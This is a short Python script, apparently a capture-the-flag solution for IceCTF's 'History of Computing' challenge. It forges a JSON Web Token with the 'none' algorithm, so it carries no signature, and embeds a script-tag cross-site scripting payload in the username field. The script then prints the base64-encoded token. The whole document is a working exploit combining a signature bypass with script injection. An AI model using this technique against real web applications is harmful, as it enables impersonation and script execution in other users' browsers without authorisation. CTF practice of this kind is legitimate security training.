IceCTF "History of Computing" XSS Generator

attack.py

#!/usr/bin/env python

first_piece = '{  "typ": "JWT", "alg": "none" }'

our_xss = '<script>alert("xss")</script>'

second_piece = '''
{ "username": "%s",  
"flag": "IceCTF{hope you don\'t think this is a real flag}"}''' \
% our_xss.replace('"','\\"')

print "%s.%s." % tuple([ x.encode('base64').replace('=','').replace('\n','') \
                for x in [first_piece, second_piece] ])